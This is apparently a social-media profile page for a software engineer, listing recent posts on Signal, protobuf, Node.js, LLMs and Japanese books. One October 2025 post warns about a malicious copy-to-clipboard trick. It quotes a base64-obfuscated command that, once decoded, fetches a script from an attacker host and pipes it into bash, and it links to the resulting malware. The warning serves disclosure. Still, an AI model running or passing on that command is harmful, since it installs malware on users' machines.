Fedor Indutny

He/him, io.js forker, Emeritus Node.js TSC Member, Software Engineer at @signalapp. My interests are OpenSource software, photography/cinematography, modern metal, and reading books/watching movies.

Signalという非営利会社で働いているソフト開発者です。元々Node.js TSC員だって、io.jsをforkしました。興味はOpenSourceソフト、写真／撮影、メタル音楽をギターで弾くこと、本、映画です。

(Expressed views are my own)

Public Key

npub1em3e6944j3k2htnt6x8ancrja6pdn6wfl93ywnlcjq0027sf0xmsr8mu3s

NIP-05 Address

indutny@mean-engineer.mostr.pub

Profile Code

nprofile1qqsvacuaz66egm9t4e4arr7eupewaqkea8yljcj8flufq8h40gyhndcpz3mhxue69uhhyetvv9ujuerpd46hxtnfduqs6amnwvaz7tmwdaejumr0dsvn6f3q

Publishing to

relay.snort.social

Author Public Key

npub1em3e6944j3k2htnt6x8ancrja6pdn6wfl93ywnlcjq0027sf0xmsr8mu3s

Show more details

Last Notes

2026-07-15 17:44:24 UTC

- reply

@nprofile…khl4 wow, this seems like a large lens! Great photos!

2026-07-03 01:36:35 UTC

Any illustrators looking for commission work?
Olga and I are producing a play and are looking for artwork for posters, flyers, etc. The play is about dystopian future, but we are open to various interpretations of the story for the illustrations!
(Boosts appreciated)

2026-05-08 18:06:53 UTC

Oh, Apple…
https://mean.engineer/system/media_attachments/files/116/540/283/998/442/495/original/24d18a37e6a3486e.png

2026-04-19 02:54:52 UTC

オビタール・クラウドの下巻を読み終えたばかりです！
すごく面白かったですよ！特に（ネタバレをすみませんが）地球を動かすことが気に入りました。流石に @nprofile…c44x の作品は新鋭なアイデアと科学的の理論に溢れています。お薦めですよ!
https://mean.engineer/system/media_attachments/files/116/429/113/884/373/082/original/d429ed54d6f19875.jpeg

2026-04-18 02:37:20 UTC

- reply

@nprofile…c44x 聞いてよければ、度いう本ですか？

2026-04-04 02:14:02 UTC

Spent some quality time today on building features for protopiler that I originally resolved not to do:
- map support
- rpc support
- custom option support (I did not fully do it, but at least it doesn't throw)
All of them were kind of fun to do and I have a practical need for them at work already!
https://codeberg.org/indutny/protopiler/compare/v3.2.4...v4.0.0

2026-03-24 17:53:41 UTC

- reply

@nprofile…khl4 oh boy, this looks awesome!

2026-02-26 03:22:22 UTC

- reply

@nprofile…ezqw yeah, I hear this from time to time, but it makes little sense. The server is already oblivious to message content (E2E), and to sender (sealed sender)

2026-02-25 22:56:00 UTC

- reply

@nprofile…ezqw fwiw, server code is open source except for an optional spam filter that we have to run

2026-02-19 04:14:08 UTC

So excited about the 8.0 beta release of Signal. We worked on secure backups for a while, and as always built it with innovative approaches to make it privacy-bulletproof; but as exhilarating as working on that was there is nothing compared to getting it out into our users' hands!
Give it a try in Signal Desktop or iOS/Android Beta 🥰
https://community.signalusers.org/t/beta-feedback-for-the-upcoming-desktop-8-0-release/74745

2026-02-06 03:12:40 UTC

- reply

@nprofile…ezqw yes, but my goal is to interact with existing service

2026-02-06 02:07:18 UTC

Google is so funny with its protobuf versions and editions. They just publish the whole spec independently for each edition without a changelog.
Am I supposed to read two specs side-by-side in order to find the differences? Am I not supposed to be able to find differences?
To be clear, I think I summarized all proto2 vs proto3 differences in my head, but it is so much work for something that could have been so simple for the spec authors.

2025-12-19 08:38:24 UTC

- reply

@nprofile…pqg8 as much as I’m on the same page with you, I’ll probably be sticking with Firefox just to keep competition to Chrome alive. Until there is a servo-based browser, at least

2025-11-21 07:14:56 UTC

- reply

@nprofile…l8gu you should understand that this library was written in entirely different era of JavaScript and mostly for the purpose of verifying signatures, not making them. (In fact it was written for my side project and not public consumption originally!)
I tried to squeeze out most of the performance on the JS engines of that time, and constant-time code… obviously was much slower.
Anyway you heard my excuses, but I can’t honestly claim that all of these choices were good even then!

2025-10-22 15:39:33 UTC

Oh, wow! This is new.
As you probably already guessed when you click "Copy" - it doesn't copy the text that it shows. Instead it is:
echo "Y3VybCAtcyBodHRwczovL2dhbW1hLnNlY3VyZWFwaW1pZGRsZXdhcmUuY29tL3N0cml4L2luZGV4LnBocCB8IG5vaHVwIGJhc2ggJg==" | base64 -d | bash
which decodes to:
curl -s https://gamma.secureapimiddleware.com/strix/index.php | nohup bash &
and this in turn becomes a full-blown malware:
https://pastebin.com/rUbcVAfC
https://mean.engineer/system/media_attachments/files/115/418/567/143/065/274/original/f600fbcc5006caeb.png

2025-10-04 21:01:16 UTC

Did anyone come across a "self-host your email" kind of guide?
I'm getting tired of proton mail's slowness, and... their politics, but moving to yet another commercial provider isn't something that I'm looking for anymore.
#LazyMastodon

2025-06-18 00:02:36 UTC

- reply

@nprofile…ylpy 彼の典型的の作戦は混乱させて、無計画な陳述を宣言するということらしいでしょうか？もしある提案を承諾した側が現れたら、「初めから計画通りだった」と言えるかもしれません。

2025-06-16 22:58:55 UTC

- reply

@nprofile…ylpy おー、なるほどですよ！ありがとうございます😊

2025-06-16 22:37:23 UTC

- reply

@nprofile…ylpy その日が本当にありますか？

2025-06-02 19:54:56 UTC

I think I had it with Final Cut Pro. Time to move to Davinci Resolve

2025-06-02 00:29:35 UTC

- reply

@nprofile…ylpy 連続のツイートを読みながら、少し羨ましくなりました😀多分僕も遊ぼうと思います！👍🙌ありがとうございます！

2025-05-27 00:40:58 UTC

- reply

@nprofile…c9t5 そうですか？2時間かかるのはびっくりですよね！僕のM2 Airは大体二十分で終わりそうでした。

2025-05-27 00:26:42 UTC

- reply

@nprofile…c9t5 intelのラップトップでしょうか？

2025-05-26 21:20:56 UTC

- reply

@nprofile…c9t5 役立つついうか、迷惑というか…わかりません

2025-05-04 17:52:50 UTC

New books arrived!
Thanks @nprofile…ylpy for recommending the 「記者ハンドブック」 and authoring the 「マン・カインド」!
#日本語
https://mean.engineer/system/media_attachments/files/114/450/836/156/253/148/original/406f7141d3ddb9b3.jpeg

2025-05-02 01:23:55 UTC

- reply

@nprofile…ylpy absolutely! Humans are not infallible, but entrusting LLM with this selection process is a bit different since it is not responsible for the mistakes it makes and cannot be held accountable. These are the mechanisms that we use to counter the human biases, but cannot use with LLM.

2025-05-01 15:29:25 UTC

- reply

@nprofile…ylpy personally, I feel that use of LLM does not substitute proper research. Hallucinations is one problem, but another is that the LLM is blackbox and the summary that it gives on the subject can be biased, censored, and incomplete even if it is 100% correct.
In case of conference participants, it is probably best to just ask them for the information? 🤔

2025-05-01 01:09:15 UTC

- reply

@nprofile…ylpy おー、すごいですよね！御説明を教えてくれてありがとうございました！文芸出版会は編集の時それを頼んでいますか？
本当に「摑む」も見たことがありますけど、よく使った単語なので、さっとに覚えていました。「体軀」というのは僕が読んでいた本にまだ滅多にないでしょう。そしてちゃんと迷っていました！

2025-04-30 06:45:31 UTC

なんで「体躯」を使わなかっただろう？
https://mean.engineer/system/media_attachments/files/114/425/562/909/284/782/original/42ac42323d5eba75.jpeg

2025-04-15 02:51:28 UTC

- reply

@nprofile…c9t5 どうやってしましたか？

2025-04-02 14:46:34 UTC

- reply

@nprofile…9g5v the familiar faces of hyperswarm 😅

2025-04-02 14:43:27 UTC

- reply

I like the concept of minimal core, though! This is the direction I wish Node.js would not only not back down from, but also move into more seriously.
Every core library can be a native addon with some JS sprinkled over it. The “core” then becomes just JS engine, and tools to deal with imports and addons.
If you then “chain” libuv streams with something like https://github.com/indutny/uv_link_t (a project that never took off separately, but become part of Node) - the performance won’t even suffer!

2025-04-02 14:39:57 UTC

- reply

@nprofile…9g5v I like this part quite a lot!
Chances are, most people will go with bare-http, though, since it is advertised on the home page, and this module is not compliant with spec so we will have yet another spec deviation to deal with in all other places.

2025-04-02 14:34:15 UTC

“Bare” looks fun, but this is HTTP parser is painful to read: https://github.com/holepunchto/bare-http1/blob/4943bd86e7a588ccb02a6c54fd5064f9e5f5bd81/lib/client-connection.js#L139-L192
I don't blame the authors, though, HTTP/1.1 has all the signs of super simple protocol to implement, while actually being harder to implement than basic HTTP/2 in many ways.
I appreciate the simplicity of the module, but also wonder if they could have ripped out llhttp out of undici and went with it.

2025-03-27 05:40:20 UTC

- reply

@nprofile…c9t5 日本にも報道される事ですか？

2025-02-01 03:19:25 UTC

- reply

@nprofile…ylpy それは可能ですけど、値段は減るわけではありません… 関税は消費者に反する効果がありますね。

2025-01-28 00:07:35 UTC

- reply

@nprofile…j0he I didn’t, but isn’t distilled model the one everyone runs and being excited about?

2025-01-27 22:24:24 UTC

- reply

@nprofile…9g5v exactly! It is so 101 and yet waters down the answers to the point where I’d rather just read Wikipedia on the subject

2025-01-27 20:45:46 UTC

With all the hype around DeepSeek R1, I thought I give it a try to see if things got better in the hyped world of LLMs.
Alas, it still hallucinates and provides nonsensical answers to simple questions. The main difference seems that both o1 and R1 now do the “thinking” step which takes lots of time to compute locally, slowing the actual response a lot (not that the response made much sense after that).
Is it just me?

2025-01-26 22:28:03 UTC

- reply

@nprofile…ckck what's the cleaning process like? Pressure washing?

2025-01-26 19:55:04 UTC

- reply

@nprofile…eyyt also not entirely true in my experience. I guess it might depend on whether the writer accesses the same table as readers or not.
In Signal Desktop (since recently) we have a pool of threads with one writer thread and multiple readers, and it seems mostly optimal, but still writing blocks reads from time to time.

2025-01-21 02:55:02 UTC

- reply

@nprofile…ylpy 残念ながら、そんな状況です…僕は映像さえ見づらかったです。